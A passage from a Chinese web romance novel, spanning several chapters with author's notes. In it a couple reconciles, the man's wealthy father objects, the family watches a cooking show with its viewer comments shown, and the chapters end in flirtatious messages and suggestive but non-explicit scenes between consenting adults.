“其实当初我离开宜京也不仅仅是因为你的欺骗,还因为……你的家世太高了。我自认,无法匹配上你的身份,虽然很俗气,但我确确实实的因此而感到了自卑,也知道自己完全没有攀附豪门的能力,何况,你当时还这么对我。” 她更加没有勇气。 她一字一句地剖析自己,露出柔软而完全的内心。 霍景闻没有急着打断她,一直安静地听着。 梁音继续说:“我只是个普通大学的普通女生,二本的学历,连家人都没有,当时的收入……也就那样。就像你说的,小偷来我家都要给我五块钱再走。而你呢,如果你还是那个无父无母的穷小子,我和你在一起不会有一点压力。可是你不是,你不是穷小子,你的家世高到让我仰望也艰难的存在。我自认没有办法匹配你,像你这种豪门贵公子,应该要娶一个门当户对的妻子,和我,是不会有结果的。与其将来痛苦,争吵,闹得难堪,不如一开始就结束。这就是我当时全部的想法,就是到今天,我也不后悔当初的决定。只是……” 霍景闻嗓音有些发飘:“只是什么……” 梁音也向他走了一步,仰着脸,眼眸如水,语气温柔而肯定,“只是,我也爱你,这么多年,还是喜欢你。” 她做的所有决定都很清醒,很理智。 而清醒理智之下,她更明白,自己从来不是不爱他。 所以她没有办法再拒绝他。 因为,她也爱他。 霍景闻低着头紧紧看着她,表情看起去依然从容,声音却带着不易察觉的颤抖,淡声道:“上帝作证,我刚刚没有听错。” 这次不等梁音回答,霍景闻已经用力抱了上去,将梁音纤瘦的身体用力摁进胸口。 紧实的双臂控制不住力道,好像要把她揉进骨血里。 他整张脸埋进她柔顺的黑发里,那双一贯桀骜凌厉的丹凤眼竟然红了一圈。 都怪他,是他太傲慢太高高在上,伤了她的心,让她自卑退 却。 否则,他们不会有这六年的分离。 家世这种不值一提的问题他从来就没有考虑过,他喜欢的只有梁音,温柔善良的梁音,坚韧心软的梁音,还有,傻乎乎的,可爱的梁音。 如果当初他能和她好好解释,没有因为吃醋而对她冷言冷语,他是不是就能告诉她——家世从来不是他们的阻碍,她永远不必为此而自卑。 梁音感受到他身体的颤抖,也伸手用力回抱住他。 靠在他的胸口,很诚恳地说:“虽然现在我们之间差距也不小,但我也算是事业有成了吧。没有特别有钱,但养你和意意起码不成问题。如果你因为和我在一起和霍家闹矛盾了,被赶出来什么的,也不用担心,我可以养你。” 这就是她给出这个答案的底气。 霍景闻埋在她发间,笑声听起来也有些闷闷的:“行。” 他一向得寸进尺,特别是在梁音面前。 “那你不许再抛弃我,要永远爱我。” 梁音吸了吸鼻子:“我答应你。” 说了这么多矫情的话,梁音终于后知后觉升起一些害羞。 她推了推他,想让他松开:“那个,舒芙蕾要冷掉了。” 她也是有仪式感的。 当初他们分手她做了份舒芙蕾给他,现在和好了,她再做一份给他。 应该也是一种仪式感吧? 没想到霍景闻从喉咙里哼了一声,似乎是气笑了。 他慢慢松开她,退了一步,瞟了那份舒芙蕾一眼:“就只有这个?” 梁音:“啊?” 那不然还要些什么? 霍景闻扯了扯嘴角,皱着眉很不满意:“梁小姐,你让我紧张的等了你这么久,就给我一份舒芙蕾就打发了?我很好说话吗?” 梁音:“……” 梁音愣住了。 梁音眨了眨眼。 过了一会儿她忽然伸手摁在他的胸口,往后推了他一下。 没怎么用力,霍景闻却像个纸片人一样轻飘飘的就被她推倒,大张着腿坐在沙发上。 他扬了扬眉,语气有些不可思议:“干嘛,终于忍不住要强。迫我?” “……”梁音紧张的咽了咽喉咙。 他竟然一副很期待的样子。 “你不是说舒芙蕾不能打发你么。”梁音忍着羞耻,镇定的走过去。低头看了一眼,估量了下,谨慎的,慢吞吞的跪坐在霍景闻一条大腿上。 在他开口之前,她飞快低下头,在他的薄唇上重重亲了一下。 客厅里发出轻微的“啵”的一声。 落在梁音的耳朵里,清晰极了。 她脸上飞速飘起了一丝红晕,却还努力装作平静:“那这样,够不够有诚意。” 霍景闻微张的嘴上还有淡淡的唇釉痕迹。 他双臂往后搭在沙发靠背上,就这样一动不动盯着她,仰着下巴,喉结清晰的,重重的上下滚动。深邃的丹凤眼里眸光暗了下来。 “继续。”他不知足的哑声说。 梁音亲了一次,也不再羞赧,低下头捧着他的脸再次亲了上去。 他的唇是软的,有点点凉意,像是初春的薄荷。 梁音轻柔的含住他的唇瓣舔了舔,腰上忽然一紧,霍景闻一手抱着她的腰往怀里摁,一手托着她的后脑勺,张开嘴追过来急迫的回吻,深入的亲,吮吸着舔,强势地逼她敞露贝齿,下一秒舌头就推了进来,勾着她的舌尖,不断吞吃。 梁音被他深重的吻逼得不断后缩,却始终在他掌控之中,被迫承受着他越来越重,越来越欲的亲吻。 耳边全是黏腻的,交缠的水渍声。 梁音被吻得迷糊不清,感觉到大腿被他勾起搭在他另一条大腿上,整个人完全变成了面对面跨坐在他怀里的姿势。 撑在他胸前的手指被他握紧,细细摩挲把玩。一记绵长的,渴求的长吻终于结束。 梁音细细喘气,脸上因缺氧布上一片浅浅的潮红,透着靡软的艳色,连眼眸都是水汪汪的。 霍景闻只看了一眼,又俯身用力吮住她湿软的唇瓣,缠绵的深吻。 包裹她的手指慢条斯理的挤入她指间,与她十指相扣。 梁音没有一点拒绝的力气。 漫长的亲吻终于结束。 霍景闻退出她的口腔,难耐的喘息一声,偏头埋进她颈窝,嗅着她的体香,在细白的颈上不轻不重的亲了两下。 “老婆在谨慎什么呢?”霍景闻抱紧她的腰不允许她往后退。 亲密的接触让梁音感受到身下的触感,成功红透了脸。 “别……” 她就知道他不是细水长流的性子,但是一上来就要全垒打也太迅速了,她还没准备好。所以刚刚她明明只坐了他一条腿,尽量不碰到他,结果还是被他看穿了。 “干嘛?”霍景闻抬起头,冷厉的眼尾晕出一点情欲的暗红,握住她的指尖亲了亲。他胸前衬衫的扣子不知道什么时候开了,露出饱满精致的锁骨,凑到她眼前,因为长久的亲吻,性感嗓音也带着一丝黏腻的低哑,“大餐都喂到你嘴边了,你还不吃?” 明晃晃的勾引。 梁音很怀疑其实她才是那个“大餐”。深思熟虑之下还是委婉的拒绝了。 “不了。” “我怕吃撑—— 作者有话说:霍景闻:那确实会撑。 恭喜小情侣和好咯,那个,我尽量尽快让霍总吃到哈哈哈~庆祝小情侣和好,这章评论区发红包哟~ 第56章 第56章要、我。 霍景闻追过去想继续亲。 在这时手机铃声煞风景的响起。 一下比一下更响,一下比一下更急促,像是催命的鼓点。 梁音清了清嗓子,睁着眼非常无辜的提醒他:“你电话响了。” 霍景闻抿紧薄唇看了她一眼。 在接电话之前,又亲了她一口,这才放开了她。 身体懒散的靠在沙发上,从口袋里拿出手机。 是助理张晓打来的。 “快接啊。”梁音催促他,“应该是有重要的事儿。” 霍景闻拧紧眉头,不情不愿的点了接听,“什么事儿?” 嗓音极具冰冷,还有一丝被打扰的烦躁。 听得电话对面的张晓神经一紧。 “是这样的霍总,远峰科技的何总已经到了,正在办公室等您……” 和远峰科技的何超会面本来约在今天下午。霍景闻以为梁音会晚上回来,就让张晓联系对方提到了上午。 人都来了,不好一再失约。 霍景闻压下眼睫:“嗯,你先好好招呼,我二十分钟就到。” 张晓:“好的。” 挂了电话,霍景闻却没有急着走,双手掐在梁音的腰上,轻松把她抱了起来,放在茶几上坐好。 一手撑在她身侧,另一只手拿起瓷盘上的勺子,挖下一块香甜的舒芙蕾,沾着柔滑的奶盖喂到了梁音嘴边。 梁音愣愣地张开嘴,吃下那口舒芙蕾。 香甜的奶味伴着淡淡的抹茶粉的涩在口腔里融化,唇齿又被他撬开,他的舌尖闯进来与她交缠一会儿才慢慢退出。 “很甜。” 霍景微微勾起唇角,亲着她的唇,“行,那你就再适应适应,我很好说话的。” 梁音红着脸:“……” 他好说话个……鬼! 明明就是因为他要去工作! 霍景闻慢慢站起身:“还有,恭喜你官司胜诉,要什么礼物?” 梁音:“我不要——” “哦,我忘了,你不要礼物。”霍景闻自顾自地接她的话,语气十分欠揍的丢下两个字,“要、我。” “……” …… 霍景闻一回到公司,就不再有任何空闲,一直忙到下午三点,这才和远峰科技谈妥,把何超送走。 长时间的工作让他有些许的疲倦。 揉了揉酸胀的太阳穴,霍景闻仰起头,闭上眼睛养神。 放在办公桌上的手机再次响起。 一直震动,震得人神经都开始发麻。 霍景闻这才不紧不慢的拿起手机。 屏幕上 清晰的闪烁着“霍秉仁”三个大字。 随意点开接听,没过一会儿他挂断电话,起身阔步走出办公室。 …… 霍秉仁经过之前的事以后再也没在霍氏露面,一直在城郊的一处别墅里休养生息。 空旷的草地上,霍秉仁随手挥着高尔夫球杆,角度很准,一杆进洞。 “来了?” 看见霍景闻的身影,霍秉仁把球杆递给一旁的球童。 优雅朝着霍景闻走去。 “你能这么快过来,看来也不是完全无所畏惧。”霍秉仁在椅子上坐下,给自己倒了杯茶,浅尝了一口,“那个叫梁音的甜品师,对你很重要了。” 霍景闻最讨厌他这副自以为是的模样,拉开他身旁的椅子,大喇喇坐下,神色散漫,“你到底想说什么直说就是,怎么,这养老的生活你还是不太满意?” 最近这综艺节目闹得沸沸扬扬,只要有心,就能查探到他和梁音的关系。 霍秉仁察觉到此事,他并不奇怪。 他就是好奇,霍秉仁就算知道了,知道了多少,又能做什么。 霍秉仁放下手中的茶杯:“一个小小的甜品师值得你如此兴师动众?我看过她的资料了,也没什么特别的,很普通,甚至可以说是平凡了。以我们霍家的地位财势,你应该选一个门当户对更加优秀的女人,而不是一个浑身沾满了油烟气的厨师!” “我给你介绍的几个女人哪个不比这个梁音优秀,你非要自甘堕落到这个份上?难道你的爱好就是一次又一次找那些贫穷的女人,获得她们的崇拜以满足你贫瘠的自尊心吗?” 霍秉仁在肆意贬低梁音的职业时,没有提起六年前的一丝一毫。霍景闻就知道他早就忘了梁音就是他六年前的女朋友。 霍秉仁只是以为,他又找了个贫穷的女朋友。 多么可笑。 这个毁掉他和梁音幸福的元凶,自以为是的安排着一切,却连“受害者”都记不清。 梁音总说他傲慢,他不以为意。 直到现在,霍景闻这才察觉豪门这高人一等的傲慢,有多令人,厌恶。 看着霍秉仁那张近乎带着讥讽的脸。 霍景闻冷冷扯了扯嘴角,他可没有向这种人解释的爱好。 不如就让他误会下去。 身体慵懒的往后靠了靠,霍景闻看着远处的草地,慢悠悠地说:“霍秉仁,你以为你是谁,一个中年失业一事无成的老东西,有什么资格评价我的女朋友?” “你嫌她身上有烟火气,可她比你强的多得多。她才二十七岁,就已经是名震宜京的天才甜品师了。你呢,你是什么?”他拖腔带调,“哦,你是父子之战中媒体口中那个输得一败涂地的糟、老、头。” 霍景闻语气幽幽,说到最后,甚至尾音都扬了扬。 讥讽更甚,完全没把霍秉仁这个父亲放在眼里,十足的混不吝,十足的张狂恶劣。 “你——”霍秉仁被他气得脸色铁青,“你个不孝子,就是这么对你的父亲说话?” 霍景闻:“嗯呢,你有什么不满吗?” 周围的人立刻有眼色的往后退,生怕这场父子战争殃及池鱼。 豪门里这么恶劣的父子关系,也是少见。 霍秉仁怒极了,拿起一个茶杯重重朝霍景闻砸去。 可惜他的准头并不够。 “刚刚我是给你留了脸面!”霍秉仁在茶几上重重拍了一掌,“那是个离异带着孩子的女人,你再怎么荒唐,也不该自甘下贱到这种地步。等老爷子知道此事后,你还能这么狂妄吗?!我是你父亲,说到底还不是为了你好,懒得和你争,真以为我是怕你了?你和那个女人的事,我明摆着告诉你,我不同意!” 霍景闻觉得有点作呕,脸上带着淡淡的嘲弄: “突然来和我演什么父子情深的恶心戏码?” 丢下这句话后,他慢条斯理站起来。 本来还以为霍秉仁查到了什么,现在看来,是他多此一举了。 他答应了梁音不让孩子被霍家察觉,早就让人给梁音和意意做了一份假资料,除了姓名和工作经历是对的,其他的经历全是假的。 霍秉仁拿到的,就是这份假资料。 亏他还以为,这霍秉仁还真有本事查到了什么。 再和这老头多说一句都嫌烦,霍景闻抬腿径直离开,只轻飘飘丢下一句:“太可笑了,我和梁音佳偶天成,天生一对,要你们同意什么。” 从霍秉仁的别墅离开已经是下午五点。 华丽的库里南在街道上平稳行驶。 霍景闻疲倦的靠在后座,长腿交叠,垂着眼不知道在思考些什么。 过了好一会儿才慢吞吞的拿出手机,打开微信。 点开置顶的微信,他和梁音的对话还停留在昨天晚上他发的信息。 看着梁音软萌的可爱头像,霍景闻忍不住勾了勾嘴角。 他和梁音要不要在一起,只要梁音同意就够了。 其他人,有什么狗屁资格反对? 愉悦的看了好一会儿,霍景闻忽然又坐直身体,唇角的弧度淡下来。 从他和梁音分开已经过了好几个小时了,梁音不是已经答应跟他和好了么?怎么一条微信都不给他发? 她想干嘛呢? 不给男朋友发消息这像话? …… 下午四点半。 梁音特意下车等在幼儿园门口,等意意出来,连忙张开了手臂,做出一个拥抱的姿势。 意意在原地愣了一下。 然后尖叫着,像只振翅欲飞的小雏鸟欢快的扑进她怀里。 “妈妈!你终于回来了,我好想你!” 小孩手臂紧紧搂住她的脖子。 梁音抱紧女儿把她抱起来,笑着说:“妈妈也想你。” “妈妈给你带了礼物哦,要不要看?” “要!”意意大声说。 梁音回来以后,意意就像个黏皮糖,梁音走到哪里,她就跟到哪里。 连梁音去厨房洗水果也要跟着,小尾巴一条。 梁音没办法,只好把意意抱起来,放在料理台上坐好,一边洗草莓一边和女儿说话。 意意双手抱着一个红彤彤的大草莓,小腿愉快的晃荡,咬了一口尖尖,甜甜的,又带着点酸。把她的小脸都酸得皱了起来,她还要说话,小大人一样:“妈妈,你下次去远一点的地方工作要提前和我说明白哦,几天见不到你,意意会担心的。” 梁音笑着点了点她的小鼻子:“好。” “在家这几天有没有听爸爸的话?” 意意“嗯”了一声:“我可听爸爸的话啦,都没怎么吃薯片。” 梁音:“啊,这么乖啊?” 意意大声哼了一下,有点儿生气了:“因为爸爸不给我买了,我都求他好几次了!” 梁音没忍不住,偷偷笑了一下。 没想到霍景闻对他的小公主还挺有原则的嘛。 梁音:“那你这几天吃了几包薯片呀?” 意意掰着她的小手数了数:“六包!” 梁音:“……” 这叫没怎么吃?都超出她规定的分量了。 刚才还是夸早了。 霍景闻对他的女儿哪里有一点原则! 意意又黏糊糊的靠过来,“妈妈,我还要吃草莓。” “好。”梁音又拿了一个洗净的草莓放进她的小手里。 刚哄完小的,手机忽然响了响,不断有微信跳出来。 梁音一打开,几条控诉的微信像是撞钟的柱子一下又一下把她脑袋撞的晕头转向。 霍景闻:【在干嘛?】 霍景闻:【为什么不给我发信息?】 霍景闻:【不会又后悔了吧?】 霍景闻:【你死了这条心,我不会答应。】 在霍景闻发出更多“怨言”之前,梁音连忙回了一条:【在洗草莓呢。】 【洗了很多,你要不要过来一起吃?】 几秒钟以后。 霍景闻:【要。】—— 作者有话说:梁音:哄完你的哄你的。[垂耳兔头] 第57章 第57章我还得,继续当处男呢?…… 霍景闻到天星嘉华的时候,刚按了门铃,下一秒门后就传来啪嗒啪嗒的小碎步声。 门被人从里面慢慢打开,一声激动的“爸爸”就传了出来。 他的小公主眼睛亮亮的站在门口迎接他,小手上还拿着一个红彤彤的大草莓。 霍景闻弯腰单手就把女儿抱了起来放在手臂上坐好,捏了捏女儿的小鼻子:“今天这么开心?” “嗯呢。”意意靠在爸爸怀里,小手举着草莓,大方的递递给爸爸吃,一边高 兴地说,“妈妈回来啦。” “行。”霍景闻咬了一口草莓,咬字含糊不清,没好气地说,“妈妈回来了就变成小甜心。” 梁音不回来就魔童降世。 天天哭得眼泪汪汪的折腾他。 还半夜爬起床闹小脾气,小糯米团子一个坐在床上伤春悲秋不肯睡觉。 意意没听清楚:“什么小点心呀?好不好吃?” 霍景闻:“……” 霍景闻搂了搂女儿的小肥腰,很想建议小公主可以减减肥了,又怕伤了小公主的心,只好委婉的说:“不好吃。” 意意很遗憾:“噢。” 梁音坐在沙发上看电视,没回头,听着他们父女的对话实在没忍住,笑了起来。 霍景闻端着女儿从玄关走到客厅,随手把女儿放下,看着梁音淡淡的说:“我的草莓呢?” 梁音就起身去厨房把洗好的草莓端出来给大少爷。 李阿姨已经在做饭了,还有两个菜就好了。 “我让李阿姨做了你喜欢的清蒸鲈鱼哦。”梁音端着草莓放在他面前。 霍景闻又是淡淡的一句:“嗯。” 还挺傲娇。 梁音就没有说话了,在他旁边重新坐下。 只是刚坐下,就感觉身边的沙发动了动,一道阴影落了下来,他一手撑在沙发,俯身抵下来要亲她…… “爸爸!”意意从房间里拿出两张可爱的贴纸,正打算和爸爸一起玩游戏,就看见眼前这一幕,水灵灵的大眼睛睁得圆溜溜的看着她的一双父母。 霍景闻嘴还没来得及贴上去,就被女儿当场抓了个包,脊骨都僵了一下。 梁音也觉得羞耻极了。 少儿不宜啊……还好还没有亲到。 一时间在女儿面前亲密,她还不太适应。 她连忙推开霍景闻,自己也退避三舍一般往旁边的沙发坐去,迅速和霍景闻拉开了距离。 “爸爸刚才是在帮我……吹眼睛里的小沙子。”梁音看着女儿,给出了一个十分合理又有爱的理由。 意意顿时明白了,担心的跑过去,“妈妈,那你好了吗?意意也吹吹。” 说完嘟起小嘴巴,呼呼的给梁音吹了起来。 梁音连忙亲了女儿的小脸一口:“好了,妈妈已经好了,宝贝不用再吹了。” 意意:“嘻嘻,意意真棒。” 霍景闻看着她们自顾自聊的开心的一大一小,“……” 啧。 梁音把他塑造的……真够纯洁的。 意意给妈妈吹完了眼睛,就兴奋的跑过来要和爸爸一起玩游戏。 “爸爸,我们一起来贴贴纸吧!” 霍景闻没亲到老婆,显得兴致缺缺:“好。” 身体慵懒的往后一靠,任由女儿折腾。 意意爬上沙发,坐在爸爸的腿上,小手轻轻地撕下一张小帕恰狗,在爸爸脸上比划。 没过一会儿,他冷峻的脸上就被贴上了数张可爱的帕恰狗小贴纸。 还有一张,正巧贴在他陡如山峰一般挺拔的鼻骨上,看起来竟然有种狠辣大佬从良,高冷中带了些许可爱的温馨萌感。 要是被公司里那些高管看到霍景闻还有这么好脾气的一面,估计都要惊掉下巴。 “妈妈,你也来贴一个。”把爸爸的脸当成贴贴本的意意很开心,小手粘着一张可爱小鱼递给梁音,苦恼地说,“小鱼我不知道贴哪儿了!” 可不是不知道贴哪儿了么。 她爸爸的脸都快被她贴完了。 就这样霍景闻也是懒洋洋的垂着眼,还夸他的小公主厉害呢。 梁音真的觉得霍景闻简直就是女儿奴…… 她拿着蓝色小鱼的贴纸,看了看霍景闻“可爱”的脸,感觉有点无从下手了。 见梁音磨磨蹭蹭的,霍景闻干脆握住她的手指一带,摁在了他抬起的喉结上。 轻轻的“啪”的一声,梁音手里的小鱼就粘了上去。 指腹贴在上面,触感又硬又热。 “就贴这儿。”霍景闻漫不经心地看了她一眼,握着她的手指慢慢往下。 可爱的小鱼贴纸之下,精致冷白的锁骨之上,还有一颗醒目的红色小痣,此时竟然有一种极度强烈的反差,很性感。 梁音感觉指尖都在发热,连忙抽回手,转过头,视线重新放在电视节目上。 意意坐在爸爸妈妈中间,还低着头认真的撕着贴纸,完全没有察觉到刚刚发生了什么。 客厅里只剩下电视的声音在流淌,一切暗涌归于平静。 “妈妈眼睛里才没有沙子!” 意意忽然抬起头,冷不丁的说。 别说梁音愣了一下,连霍景闻也慢吞吞的抬了抬眼睫:“为什么这么说?” 意意觉得自己已经五岁了,又不是两三岁的小屁孩,她现在一点儿也不好骗! 她义正言辞的说出自己的发现:“爸爸不是给妈妈吹眼睛,爸爸是想亲妈妈,就像……那天在爸爸的书房里一样!” 这时候李阿姨刚好端着做好的菜从厨房里出来,听到小家伙掷地有声的话,忍不住露出促狭的笑。 梁音脸上一红,抬头盯着霍景闻:“……?” 这又是什么时候的事儿? 霍景闻倒是一点不尴尬,还伸出手指头轻轻戳了戳女儿的小胖脸,好整以暇地说:“梁从意,爸爸不是让你保密么?你还吃了我一包薯片,看了十集的小猪佩奇,说话不算话?” 失言的梁从意:“……” 她眨巴眨巴大眼睛,呆呆地说:“我忘记了呢。” 霍景闻:“你怎么不忘记看小猪佩奇?” 意意:“因为这个是每天晚上都要看的呀。” 霍景闻:“那你给爸爸道歉,爸爸就原谅你。” 意意连忙爬起来,抱着霍景闻的手臂,嘟着小嘴亲了亲他的脸,奶声奶气地说:“爸爸对不起,意意错啦。” 她忙着道歉,早就忘了爸爸想偷亲妈妈的事了。 梁音摇了摇头,真是没眼看。 竟然忽悠小孩。 …… 吃完了晚饭,李阿姨出门散步去了,很有眼色的不打扰一家三口的温馨时光。 霍景闻那一脸的贴纸也撕掉了,面容重新恢复冷傲。 梁音刚刚打完官司回国,还没来得及看《完美厨神》第二期,此时正打开电视播放第二期(下)。 意意也跟着她一起看。 霍景闻对电视完全没兴趣,一向是梁音看什么他才看什么的。 所以这些年,他跟着梁音不知道看了多少狗血偶像剧。 饱受摧残。 第二期节目播完梁音拿下比赛第一名以后,没有继续紧张的给出下一个比赛主题,中间节目组抽空让评委和参赛的甜品师们来了个趣味的小游戏。 嘉宾们分为两队。 小丸子,文轩,沈又安,文杰为一队。 豌豆,梁音,霍景闻,周叙琛为另外一队。 率先开始的是小丸子那一队,节目组让他们四个中的一个穿上指压板鞋垫,其他三人穿正常的鞋子,让另外一队猜他们中的哪一个踩到了指压板。 猜对记一分。 游戏一共三轮,最后猜对更多的队伍获胜,输掉的队伍则要面临喷**油的惩罚。 弹幕: “我去,太刺激了。” “我要看霍总被喷,没什么原因,单纯觉得他太拽了看他很不爽。” “想想那张性冷淡的冷脸上喷满了奶油,一定很有趣……” 看到这条弹幕时,霍景闻的眉头皱了皱。 关键这条弹幕还有上千个赞,所以很显眼。 梁音也看到了,她 倒没有多想,继续看节目。 小丸子那组四个人换好了鞋歪歪扭扭的走出来了。 小丸子一边走一边嘶哈嘶哈,表演出自己的脚很疼的样子。 文轩也是,“痛”的一脸扭曲。 沈又安更是夸张,走一步就跳起来,显得疼得受不了一样。 文杰稳重一点,就是走一边停一步,嘴里说着“好痛!” 四个人都采用了夸张的表演。这让观察的另外一队就陷入了沉思。 梁音玩游戏一向很认真,她让四个人都给她转个圈看看,然后敏锐的注意到小丸子是垫着脚尖动作很轻的在转的,说明她是真的怕疼,而不是装的。 所以,她下了结论,“我觉得是小丸子。” 其他人却有不同的意见。 周叙琛认为是文杰,理由是痛的人才不敢一直走。 豌豆认为是沈又安,他觉得越是夸张的表演就越是真的。 轮到霍景闻,所有人都看向他,等他发表高见。 结果他一转头,看向了梁音,“你觉得是小丸子?” 梁音连忙点头。 因为她是个游戏渣,上期也是分析了一大堆然后全都错了,但是她又觉得上次都是意外,认为自己这次分析得有理有据,应该是不会错的。 所以下意识就对着霍景闻解释:“因为小丸子是垫着脚尖的啊,你发现了没?” 霍景闻:“发现了。” 霍景闻:“那就是小丸子。” 两票对一票,所以他们这队最后还是选择了小丸子! 结果公布答案,穿着指压板的人是——文杰! 梁音又猜错了! 小丸子开心的跳起来,说这就是她故意设计的小巧思,故意蒙蔽他们的。 梁音摸了摸鼻子,不敢置信地说:“怎么又猜错了。” 她明明是很认真观察的,结果竟然就输在这上面了。 霍景闻不甚在意:“没事儿。” “我也猜错了。” 弹幕: “你猜他猜没猜。” “估计那四个人的表演霍总都没认真看一眼,老婆说选哪个就哪个。” “认真分析了一通的周叙琛:我请问呢?” “哈哈哈哈哈。” “哎哟,我~也~猜~错~了~” “艹,闻音起舞甜麻了!” “故意跟着老婆投,霍总太宠了。” “玩游戏一点儿也不认真,没有游戏精神,差评。” “没事,他老婆玩得挺认真的。” “但是梁老师其实可以不用那么认真的哈哈,没有一次猜对的是谁我不说。” “又菜又爱玩儿。” “好甜呀,但是你们说霍总追到了没有?” 节目在继续播放。 霍景闻却拿出了手机,不知道在干什么。 过了好一会儿,弹幕上已经在讨论别的内容了,忽然一条格格不入的弹幕跳了出来: “追到了。” 然后迅速淹没在庞杂的弹幕群中。 没有引起任何的水花。 霍景闻脸色不太好看了。 梁音其实看见了,但是假装没看见,抿着嘴偷笑。 这时节目里做完小游戏后,所有人都重新回到座位上,霍景闻步调一向散漫,而镜头也对这位资方爸爸格外偏爱,所以镜头落在他身上至少有三秒。 弹幕不知道为什么突然又炸了: “卧槽,这哥确实是硬帅!” “冷脸太爽了。” “叮裆猫自动聚焦。” “好大,不是,好鼓。” “yhsq,举报了。” 梁音没想到网友的目光这么犀利和鸡贼,怎么……一下就看到那儿去了。 侧头看了眼霍景闻,发现他并没有注意,悄悄松了一口气。 结果弹幕更热闹了: “梁音好有福气啊!” “啊啊啊啊啊梁音你背着我们吃这么好,要不你赔我点儿呢” “不是,你们确定梁音吃到了?他们不是分手好久了吗?” “包的。至少曾经吃到了哈哈。” “霍总看起来是禁欲系,但不像处男啊~” “成年男女~” “嘿嘿嘿嘿嘿,分手这么多年,霍总和处男没区别啦。” 讨论的尺度越来越大,很快,一些弹幕就被夹掉了。 梁音也赶紧把弹幕关掉。 这种危险的弹幕,还是不能再看下去了。 拿起手机看了下时间,已经快八点了,意意也该洗澡睡觉了。 把女儿带进浴室,梁音慢吞吞走出来,发现霍景闻还大喇喇的坐在沙发上,一双大长腿松闲散的放着,显得整个客厅都有点儿逼仄了。 “那个……”梁音清了清嗓子,“已经八点了,你还不回去吗?” 霍景闻眼也没抬:“不回。” “你已经答应我和好了,我今天要住这儿。” “可是……”梁音迟疑地说,“我这儿没有你住的地方啊。” 次卧是李阿姨睡的。 她和意意一起睡主卧,已经没有他能睡的地方了。 霍景闻拧着眉,终于抬眼。 “?” 他撑着下巴静静看着她,深邃的丹凤眼中,情绪难辨。 “梁、音。” 他咬着字音,一字一顿叫着她的名字,“我还得,继续当处男呢?” 梁音感觉耳根有点儿发烫。 原来他刚刚都看到了—— 作者有话说:明天要准时来哦[狗头] 第58章 第58章要被他狠狠占有。 霍景闻回到千水公馆已经是晚上九点半。 从浴室洗完澡出来,霍景闻披了件浴袍,随手在腰间打了个结。 湿漉漉的头发还在滚落着水珠。 他拿干净的毛巾擦了擦头发,双臂撑在洗手台,看着镜子里的自己。 灰色的浴袍系得很松散,领口大敞,水珠沿着锁骨滑落,壁垒分明的紧实腹肌若隐若现。 看了一会儿,霍景闻眉头紧锁。 他自认长相身材都十分不错,足够性感有料,梁音怎么就一点儿都不惦记? 啊…… 霍景闻眼尾挑了挑,不是梁音不惦记,应该是过了这么久她忘了。 那他,帮她好好回忆回忆。 …… 梁音把意意哄睡着,洗完澡出来,放在床头柜上的手机震动了两下。 她走过去拿起手机。 霍景闻:【照片】 梁音看了一眼立马关上! 刚洗完澡本来就有点热,此时脸上的温度更是“噌”地一下往上升,烧得发烫。 霍景闻的微信不断发来。 梁音不想看的,可是那天生的好奇心又促使她打开了手机,想看看他又发了什么。 她只看一眼。 她想。 梁音重新打开微信。 霍景闻:【照片】 霍景闻:【梁老师】 霍景闻:【什么,时候,来,吃我】 梁音的脸又烧起来了! 梁音:【霍景闻!】 霍景闻:【在呢】 梁音:【你没看新闻吗?】 霍景闻:【?】 梁音吓唬他:【在微信传播果/照,是要被抓起来判刑的!】 霍景闻:【这么可怕?】 梁音:【是的。】 霍景闻:【给自己老婆发也不行?】 梁音:【这个……倒是也没有说……但是,这样是不对的,很没有人性!】 梁音试图谴责他。 霍景闻:【行,我错了。】 霍景闻:【那梁老师。】 梁音:【?】 霍景闻:【快来惩罚没有人性的我。】 梁音喉咙咽了咽,感觉自己的手指压根不听理智的使唤,自己就打下了两句: 【那你把自己洗干净。】 【等我。】 梁音换好衣服,鬼鬼祟祟的打开门,又把门关上。 敲开次卧的门,李阿姨正在刷短视频,云南山歌从她的手机霸道的唱了出来。 看见梁音,李阿姨还很意外:“怎么了?” 这么晚了,她怎么又穿戴整齐了,这是要去哪儿啊? 梁音忍着心里的羞耻,努力平静地说:“李阿姨,我有点儿饿了,出去吃点东西,你帮我注意一下意意,如果她醒了,你哄哄她。” 李阿姨:“好啊。但是这么晚了你还出去干嘛?你要吃什么,我给你做就是了。” 梁音拒绝:“不用麻烦了,我出去吃就好。” 李阿姨:“好吧,那什么时候回来?要不要我等你?” 梁音感觉自己更像是去做什么见不得人的事了。 “不用,你睡吧,就是留意下意意就好。” “好吧。”李阿姨也 没多想,就答应了。 “嗯。” 和李阿姨交代完,梁音转头就匆促的出了门,生怕李阿姨继续追问。 —— 另外一边的千水公馆。 霍景闻靠在沙发上,看着微信里最后两个字,隽朗的眉骨扬了扬。 美男计。 还是对梁音好用。 他想想,他和梁音的第一次,也是梁音被他勾得迷迷糊糊的,就让他上了床 霍秉仁是该死,但给他生了一副好相貌算是唯一的功德。 把手机丢在沙发上,霍景闻起身,去酒柜里挑了瓶红酒。 不是助兴。 是给梁音勇气。 不然就她这性子,说不定还得半路退缩。 * 晚上十点半。 霍景闻懒散的靠躺在沙发上,面前的大屏幕上正在播放着《完美厨神》第二期。 梁音以为他没有看见弹幕,其实他早就看过了。 拿起手机打开微博。 霍景闻登上张晓给他创建的小号,进了他和梁音的CP超话。 慢条斯理的发了一条微博,然后就随意的关上了手机。 电视声音不大,所以门口大门推开发出动静的第一时间,霍景闻就听到了。 但他假装没有听到,懒洋洋的闭上了眼睛。 梁音悄咪咪的打开了门,在玄关处听到了隐约的电视声音。换了鞋走进去,轻声叫了霍景闻的名字。 没人应。 梁音疑惑的眨了眨眼,一边走一边想,霍景闻去哪里了? 一走进客厅,就看到了大喇喇靠躺在沙发上,穿着浴袍的男人。 他微微仰起头,明亮的光线落在他挺拔的鼻梁,在明亮的水晶灯光下,肌理光泽,侧脸英挺分明,浓密的长睫覆盖在眼睑,竟然睡着了。 他等她等累到了吗? 梁音放轻脚步走过去。 发现茶几上还放着一杯红酒,她舔了舔嘴唇,下意识的端过来,嗅了一下,闻到一股醇厚的气息,抬起酒杯,尝了一口。 然后安静的坐在他身边,准备等他睡醒了再说。 趁人之危这种事,她梁音做不到。 又喝了一口红酒,刚把杯子放下,耳边忽然传来了衣料摩擦的声音…… 转头一看,霍景闻不知道什么时候醒了,正在慢条斯理的抽开自己的浴袍带子。 “酝酿好了么,梁老师要怎么惩罚我。”霍景闻的浴袍带子一松,布料顺着两边滑落,露出坚硬的胸膛,漂亮紧实的肌肉十分吸引眼球。 梁音看了一眼,眼神飘忽,立马移开了。 